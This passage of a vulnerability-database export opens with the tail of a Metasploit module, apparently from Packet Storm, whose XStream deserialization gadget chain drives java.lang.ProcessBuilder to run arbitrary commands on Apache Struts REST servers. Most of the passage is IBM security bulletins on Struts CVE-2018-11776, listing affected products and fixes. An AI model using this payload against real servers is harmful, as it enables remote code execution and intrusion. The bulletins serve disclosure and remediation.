class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> \n<dataHandler> \n<dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> \n<is class=\"javax.crypto.CipherInputStream\"> \n<cipher class=\"javax.crypto.NullCipher\"> \n<initialized>false</initialized> \n<opmode>0</opmode> \n<serviceIterator class=\"javax.imageio.spi.FilterIterator\"> \n<iter class=\"javax.imageio.spi.FilterIterator\"> \n<iter class=\"java.util.Collections$EmptyIterator\"/> \n<next class=\"java.lang.ProcessBuilder\"> \n<command> \n<string>#{cmd.join('</string><string>')}</string> \n</command> \n<redirectErrorStream>false</redirectErrorStream> \n</next> \n</iter> \n<filter class=\"javax.imageio.ImageIO$ContainsFilter\"> \n<method> \n<class>java.lang.ProcessBuilder</class> \n<name>start</name> \n<parameter-types/> \n</method> \n<name>#{random_crap}</name> \n</filter> \n<next class=\"string\">#{random_crap}</next> \n</serviceIterator> \n<lock/> \n</cipher> \n<input class=\"java.lang.ProcessBuilder$NullInputStream\"/> \n<ibuffer></ibuffer> \n<done>false</done> \n<ostart>0</ostart> \n<ofinish>0</ofinish> \n<closed>false</closed> \n</is> \n<consumed>false</consumed> \n</dataSource> \n<transferFlavors/> \n</dataHandler> \n<dataLen>0</dataLen> \n</value> \n</jdk.nashorn.internal.objects.NativeString> \n<jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n<entry> \n<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n</map> \nEOF \nend \n \ndef random_crap \nRex::Text.rand_text_alphanumeric(rand(42) + 1) \nend \n \nend \n \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/144034/struts2_rest_xstream.rb.txt"}], "ibm": [{"lastseen": "2023-06-24T05:46:06", "description": "## Summary\n\nThere is a vulnerability in Apache Struts which the IBM FlashSystem\u2122 840 and 900 are susceptible. An exploit of that vulnerability (CVE-2018-11776) could make the system susceptible to attacks which could allow an attacker to execute arbitrary code on the system. \n \n\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nFlashSystem 840 machine type and models (MTMs) affected include 9840-AE1 and 9843-AE1. \nFlashSystem 900 MTMs affected include 9840-AE2 and 9843-AE2.\n\nSupported code versions which are affected\n\n * VRMFs prior to 1.4.8.1\n * VRMFs prior to 1.5.2.1\n\n## Remediation/Fixes\n\nMTMs | VRMF | APAR | Remediation/First Fix \n---|---|---|--- \n \nFlashSystem 840 MTMs:\n\n9840-AE1 & 9843-AE1\n\nFlashSystem 900 MTMs:\n\n9840-AE2, 9843-AE2, 9840-AE3, & 9843-AE3\n\n| \n\nCode fixes are now available, the minimum VRMF containing the fix depending on the code stream:\n\n_Fixed Code VRMF_\n\n1.5 stream: 1.5.2.1\n\n1.4 stream: 1.4.8.1\n\n| N/A | FlashSystem 840 fixes and FlashSystem900 fixes are available @ [IBM's Fix Central](<https://www-945.ibm.com/support/fixcentral>) \n \n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-02-18T01:45:50", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem 840 and 900", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-02-18T01:45:50", "id": "7C42BBDFFC97D2C8E3BEC4BE79A23F40E78C2650B91FD356C831E42D0B7EE5EF", "href": "https://www.ibm.com/support/pages/node/735035", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:47:35", "description": "## Summary\n\nPublic disclosed vulnerability (CVE-2018-11776) from Apache Struts affects IBM Spectrum LSF Explorer.\n\n## Vulnerability Details\n\n## CVEID: [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \nDESCRIPTION: Apache Struts namespace code execution\n\nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>[ ](<https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>)for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\n## Affected Products and Versions\n\nIBM Spectrum LSF Explorer 10.1\n\nIBM Spectrum LSF Explorer 10.2\n\n## Remediation/Fixes\n\n_<Product_\n\n| \n\n_VRMF_\n\n| \n\n_APAR_\n\n| \n\n_Remediation/First Fix_ \n \n---|---|---|--- \n \nIBM Spectrum LSF Explorer\n\n| \n\n_10.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nIBM Spectrum LSF Explorer\n\n| \n\n_10.2_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \n**IBM Spectrum LSF Explorer10.1 & 10.2**\n\n 1. Download Apache Struts 2.5.17 from following link, <https://cwiki.apache.org/confluence/display/WW/S2-057>\n 2. Replace the downloaded files (struts2-core-2.5.17.jar, struts2-json-plugin-2.5.17.jar and struts2-spring-plugin-2.5.17.jar) into Explorer installed environment.\n 3. How to find replace files location\n * Navigate to Explorer installed directory\n * run command \u2018find . -name \"*struts*.jar\"\u2019\n\n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-25T13:15:02", "type": "ibm", "title": "Security Bulletin: Public disclosed vulnerability from Apache Struts affects IBM Spectrum LSF Explorer", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-25T13:15:02", "id": "EF22A73E167DAD8921F1B5310AD0D0D34493E613208B9FFE7D6DF59B309A1D62", "href": "https://www.ibm.com/support/pages/node/729453", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:47:34", "description": "## Summary\n\nPublic disclosed vulnerability (CVE-2018-11776) from Apache Struts affects IBM Platform Application Center.\n\n## Vulnerability Details\n\n## CVEID: [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \nDESCRIPTION: Apache Struts namespace code execution\n\nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>[ ](<https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>)for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\n## Affected Products and Versions\n\nPlatform Application Center 9.1.5\n\nPlatform Application Center 9.1.4.2\n\nPlatform Application Center 9.1.4.1\n\nPlatform Application Center 9.1.4\n\nPlatform Application Center 9.1.3\n\nPlatform Application Center 9.1.2\n\nPlatform Application Center 9.1.1\n\nPlatform Application Center 9.1\n\n## Remediation/Fixes\n\n_<Product_\n\n| \n\n_VRMF_\n\n| \n\n_APAR_\n\n| \n\n_Remediation/First Fix_ \n \n---|---|---|--- \n \nPlatform Application Center\n\n| \n\n_9.1.5_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.4.2_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.4.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.4_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.3_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.2_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \n**Platform Application Center 9.1.5, 9.1.4.2, 9.1.4.1, 9.1.4, 9.1.3, 9.1.2, 9.1.1, 9.1**\n\n 1. Download Apache Struts 2.5.17 from following link, <https://cwiki.apache.org/confluence/display/WW/S2-057>\n 2. Replace the downloaded files (struts2-core-2.5.17.jar, struts2-json-plugin-2.5.17.jar and struts2-spring-plugin-2.5.17.jar) into Application Center installed environment.\n 3. How to find replace files location\n * Navigate to PAC installed directory\n * run command \u2018find . -name \"*struts*.jar\"\u2019\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-25T13:15:02", "type": "ibm", "title": "Security Bulletin: Public disclosed vulnerability from Apache Struts affects IBM Platform Application Center", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-25T13:15:02", "id": "8D92F3D2DF6A11349A2815C9DBFEE8CEFA4D5B034DC3477EAF30879571A440D4", "href": "https://www.ibm.com/support/pages/node/729451", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-19T17:45:43", "description": "## Summary\n\nA vulnerability in Apache Struts affects IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500, IBM Spectrum Virtualize Software, IBM Spectrum Virtualize for Public Cloud and IBM FlashSystem V9000 and 9100 family products. Apache Struts is used in the Service Assistant GUI. The Service Assistant CLI is unaffected.\n\n## Vulnerability Details\n\n**CVEID: ** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION: ** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM SAN Volume Controller \nIBM Storwize V7000 \nIBM Storwize V5000 \nIBM Storwize V3700 \nIBM Storwize V3500 \nIBM FlashSystem V9000 \nIBM FlashSystem 9100 Family \nIBM Spectrum Virtualize Software \nIBM Spectrum Virtualize for Public Cloud\n\nAll products are affected when running supported versions 7.5 to 8.2.\n\n## Remediation/Fixes\n\nIBM recommends that you fix this vulnerability by upgrading affected versions of IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500, IBM FlashSystem V9000, IBM Spectrum Virtualize Software, and IBM Spectrum Virtualize for Public Cloud to the following code levels or higher:\n\n7.5.0.13\n\n7.8.1.8\n\n8.1.3.3\n\n8.2.0.2\n\n8.2.1.0\n\n[_Latest IBM SAN Volume Controller Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Storage%20virtualization&product=ibm/StorageSoftware/SAN+Volume+Controller+%282145%29&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V7000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Mid-range%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V7000+%282076%29&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V5000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Mid-range%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V5000&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V3700 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Entry-level%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V3700&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V3500 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Entry-level%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V3500&release=All&platform=All&function=all>) \n[_Latest IBM FlashSystem V9000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%20high%20availability%20systems&product=ibm/StorageSoftware/IBM+FlashSystem+V9000&release=All&platform=All&function=all>) \n[_Latest IBM FlashSystem 9100 Family Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%20high%20availability%20systems&product=ibm/StorageSoftware/IBM+FlashSystem+9100+family&release=All&platform=All&function=all>) \n[_Latest IBM Spectrum Virtualize Software_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Software%20defined%20storage&product=ibm/StorageSoftware/IBM+Spectrum+Virtualize+software&release=8.1&platform=All&function=all>) \n[_Latest IBM Spectrum Virtualize for Public Cloud_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Software%20defined%20storage&product=ibm/StorageSoftware/IBM+Spectrum+Virtualize+for+Public+Cloud&release=8.1&platform=All&function=all>)\n\nFor unsupported versions of the above products, IBM recommends upgrading to a fixed, supported version of code.\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-03-29T01:48:02", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects IBM SAN Volume Controller, IBM Storwize, IBM Spectrum Virtualize and IBM FlashSystem products (CVE-2018-11776)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-03-29T01:48:02", "id": "709EFBBA0822EBB77C07CD194232C954374F9FDFBE66E10E5A72224A58470EAA", "href": "https://www.ibm.com/support/pages/node/741137", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:45:56", "description": "## Summary\n\nContent Collector for Email, File Systems, Microsoft SharePoint and IBM Connections has addressed publicly disclosed vulnerability found by vFinder: Eclipse Jetty.\n\n## Vulnerability Details\n\n**CVEID: **[CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Content Collector for Email - 4.0.1 \nIBM Content Collector for File Systems - 4.0.1 \nIBM Content Collector for SharePoint - 4.0.1 \nIBM Content Collector for IBM Connections - 4.0.1\n\n## Remediation/Fixes\n\n**Product** | **VRM** | **Remediation** \n---|---|--- \nIBM Content Collector for Email | 4.0.1 | \n\nUse IBM Content Collector for Email 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for Email 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for Email 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for Email 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \nIBM Content Collector for File Systems | 4.0.1 | \n\nUse IBM Content Collector for File Systems 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for File Systems 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for File Systems 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for File Systems 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \nIBM Content Collector for SharePoint | 4.0.1 | \n\nUse IBM Content Collector for SharePoint 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for SharePoint 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for SharePoint 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for SharePoint 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \nIBM Content Collector for IBM Connections | 4.0.1 | \n\nUse IBM Content Collector IBM Connections 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector IBM Connections 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector IBM Connections 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector IBM Connections 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-11-12T12:55:02", "type": "ibm", "title": "Security Bulletin: Content Collector for Email, File Systems, Microsoft SharePoint and IBM Connections are affected by a publicly disclosed vulnerability found by vFinder: Eclipse Jetty", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-11-12T12:55:02", "id": "BF4651008A331C7D796A1E09F830D542352CF251871DBEED396D2CE654058F5A", "href": "https://www.ibm.com/support/pages/node/730391", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:47:28", "description": "## Summary\n\nIBM Security Guardium has addressed the following vulnerability. \n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected IBM Security Guardium**\n\n| \n\n**Affected Versions** \n \n---|--- \nIBM Security Guardium | 10.1.4-10.5 \n \n## Remediation/Fixes\n\n**Product**\n\n| \n\n**VRMF**\n\n| \n\n**Remediation / First Fix** \n \n---|---|--- \nIBM Security Guardium | 10.1.4 | https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FInfoSphere+Guardium&fixids=SqlGuard_10.0p413_Apache-Struts-Vulnerability-Fix&source=SAR&function=fixId&parent=IBM%20Security \nIBM Security Guardium | 10.5 | https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FInfoSphere+Guardium&fixids=SqlGuard_10.0p512_Sep-24-2018&source=SAR&function=fixId&parent=IBM%20Security \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-28T04:30:01", "type": "ibm", "title": "Security Bulletin: IBM Security Guardium is affected by a Publicly disclosed Apache Struts vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": 